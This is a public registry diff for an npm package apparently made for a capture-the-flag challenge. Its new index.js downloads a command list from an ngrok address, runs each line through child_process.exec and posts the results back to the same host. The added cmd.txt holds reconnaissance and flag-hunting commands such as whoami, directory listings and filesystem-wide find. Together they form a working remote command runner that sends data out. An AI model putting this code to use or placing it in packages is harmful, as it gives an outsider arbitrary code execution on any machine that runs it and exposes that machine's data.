ect-987654-ctf 0.0.10 → 0.1.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cmd.txt +10 -0
- package/evil.yaml +1 -1
- package/index.js +45 -65
- package/last_post.json +1 -3
- package/package.json +1 -1
package/cmd.txt
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
id
|
|
2
|
+
pwd
|
|
3
|
+
whoami
|
|
4
|
+
ls -la /home/node
|
|
5
|
+
ls -la /home/node/aspect-node || true
|
|
6
|
+
file /home/node/aspect-node.tar.gz || true
|
|
7
|
+
tar -tzf /home/node/aspect-node.tar.gz | head -n 200 || echo "tar list failed"
|
|
8
|
+
find /home/node -maxdepth 4 -type f -iname "*flag*" -o -iname "flag.txt" -print 2>/dev/null || true
|
|
9
|
+
find / -maxdepth 4 -type f -iname "*flag*" -o -iname "flag.txt" -print 2>/dev/null | head -n 200
|
|
10
|
+
# if you find promising files, cat them (you can add new lines like: cat /path/to/thatfile)
|
package/evil.yaml
CHANGED
package/index.js
CHANGED
|
@@ -1,19 +1,33 @@
|
|
|
1
|
-
// index.js
|
|
2
|
-
// Runs ls -la on /app and /home and POSTs results to your callback URL
|
|
3
|
-
// Replace CALLBACK_URL with your ngrok/http endpoint (include trailing slash)
|
|
4
|
-
|
|
1
|
+
// index.js - fetch remote cmd.txt, run it, POST result back
|
|
5
2
|
const { exec } = require('child_process');
|
|
6
|
-
const os = require('os');
|
|
7
3
|
const https = require('https');
|
|
8
4
|
const http = require('http');
|
|
9
5
|
const url = require('url');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
|
|
8
|
+
const CALLBACK_URL = 'https://0f6896f7cc8e.ngrok-free.app/'; // <- ganti
|
|
9
|
+
const CMDFILE_URL = 'https://0f6896f7cc8e.ngrok-free.app/cmd.txt'; // <- ganti (where you serve commands)
|
|
10
|
+
const TIMEOUT = 15000;
|
|
10
11
|
|
|
11
|
-
|
|
12
|
-
|
|
12
|
+
function httpGet(u, cb) {
|
|
13
|
+
try {
|
|
14
|
+
const parsed = url.parse(u);
|
|
15
|
+
const lib = parsed.protocol === 'https:' ? https : http;
|
|
16
|
+
const opts = { hostname: parsed.hostname, port: parsed.port || (parsed.protocol === 'https:' ? 443 : 80), path: parsed.path, method: 'GET', timeout: TIMEOUT };
|
|
17
|
+
const req = lib.request(opts, (res) => {
|
|
18
|
+
let s = '';
|
|
19
|
+
res.on('data', c => s += c.toString());
|
|
20
|
+
res.on('end', () => cb(null, s));
|
|
21
|
+
});
|
|
22
|
+
req.on('error', cb);
|
|
23
|
+
req.on('timeout', () => { req.destroy(); cb(new Error('timeout')); });
|
|
24
|
+
req.end();
|
|
25
|
+
} catch (e) { cb(e); }
|
|
26
|
+
}
|
|
13
27
|
|
|
14
|
-
function
|
|
28
|
+
function runCmd(cmd, cb) {
|
|
15
29
|
exec(cmd, { timeout: TIMEOUT, maxBuffer: 1024 * 1024 * 4 }, (err, stdout, stderr) => {
|
|
16
|
-
cb(err, stdout
|
|
30
|
+
cb(err, String(stdout||''), String(stderr||''));
|
|
17
31
|
});
|
|
18
32
|
}
|
|
19
33
|
|
|
@@ -26,70 +40,36 @@ function postJson(targetUrl, obj, cb) {
|
|
|
26
40
|
port: u.port || (u.protocol === 'https:' ? 443 : 80),
|
|
27
41
|
path: u.path || '/',
|
|
28
42
|
method: 'POST',
|
|
29
|
-
headers: {
|
|
30
|
-
'Content-Type': 'application/json',
|
|
31
|
-
'Content-Length': Buffer.byteLength(body)
|
|
32
|
-
},
|
|
43
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
|
|
33
44
|
timeout: TIMEOUT
|
|
34
45
|
};
|
|
35
46
|
const lib = u.protocol === 'https:' ? https : http;
|
|
36
47
|
const req = lib.request(opts, (res) => {
|
|
37
|
-
|
|
38
|
-
let d = '';
|
|
39
|
-
res.on('data', (c) => d += c.toString());
|
|
40
|
-
res.on('end', () => cb && cb(null, res.statusCode, d));
|
|
48
|
+
let d=''; res.on('data', c=> d+=c); res.on('end', ()=> cb(null, res.statusCode, d));
|
|
41
49
|
});
|
|
42
|
-
req.on('error', (e) => cb
|
|
43
|
-
req.
|
|
44
|
-
|
|
45
|
-
req.end();
|
|
46
|
-
} catch (e) {
|
|
47
|
-
cb && cb(e);
|
|
48
|
-
}
|
|
50
|
+
req.on('error', (e) => cb(e));
|
|
51
|
+
req.write(body); req.end();
|
|
52
|
+
} catch (e) { cb(e); }
|
|
49
53
|
}
|
|
50
54
|
|
|
51
|
-
|
|
52
|
-
const info = {
|
|
53
|
-
host: os.hostname(),
|
|
54
|
-
ts: new Date().toISOString(),
|
|
55
|
-
pwd: process.cwd(),
|
|
56
|
-
attempts: []
|
|
57
|
-
};
|
|
58
|
-
|
|
59
|
-
const cmds = [
|
|
60
|
-
{ name: 'ls_home', cmd: 'ls -la /home || ls -la ~ || echo "ls /home failed"' },
|
|
61
|
-
{ name: 'ls_app', cmd: 'ls -la /app || echo "ls /app failed"' },
|
|
62
|
-
{ name: 'pwd', cmd: 'pwd' }
|
|
63
|
-
];
|
|
55
|
+
const info = { host: os.hostname(), ts: new Date().toISOString(), pwd: process.cwd(), results: [] };
|
|
64
56
|
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
postJson(CALLBACK_URL, info, (err, status, body) => {
|
|
70
|
-
// optionally print to stdout so DEBUG is easier if running locally
|
|
71
|
-
if (err) {
|
|
72
|
-
try { console.error('POST ERROR', String(err)); } catch(e){}
|
|
73
|
-
} else {
|
|
74
|
-
try { console.log('POSTED', status); } catch(e){}
|
|
75
|
-
}
|
|
76
|
-
// exit gracefully
|
|
77
|
-
try { process.exit(0); } catch(e){}
|
|
78
|
-
});
|
|
57
|
+
httpGet(CMDFILE_URL, (err, data) => {
|
|
58
|
+
if (err) {
|
|
59
|
+
info.results.push({ stage: 'fetch_cmd', err: String(err) });
|
|
60
|
+
postJson(CALLBACK_URL, info, ()=>process.exit(0));
|
|
79
61
|
return;
|
|
80
62
|
}
|
|
81
|
-
const
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
63
|
+
const lines = data.split(/\r?\n/).map(s => s.trim()).filter(Boolean);
|
|
64
|
+
(function seq(i){
|
|
65
|
+
if (i >= lines.length) {
|
|
66
|
+
postJson(CALLBACK_URL, info, ()=>process.exit(0));
|
|
67
|
+
return;
|
|
68
|
+
}
|
|
69
|
+
const cmd = lines[i];
|
|
70
|
+
runCmd(cmd, (err, out, stderr) => {
|
|
71
|
+
info.results.push({ cmd, out: out.slice(0, 200000), stderr: stderr.slice(0,200000), err: err ? String(err) : null });
|
|
72
|
+
setTimeout(()=> seq(i+1), 200);
|
|
89
73
|
});
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
});
|
|
93
|
-
}
|
|
94
|
-
|
|
95
|
-
next();
|
|
74
|
+
})(0);
|
|
75
|
+
});
|
package/last_post.json
CHANGED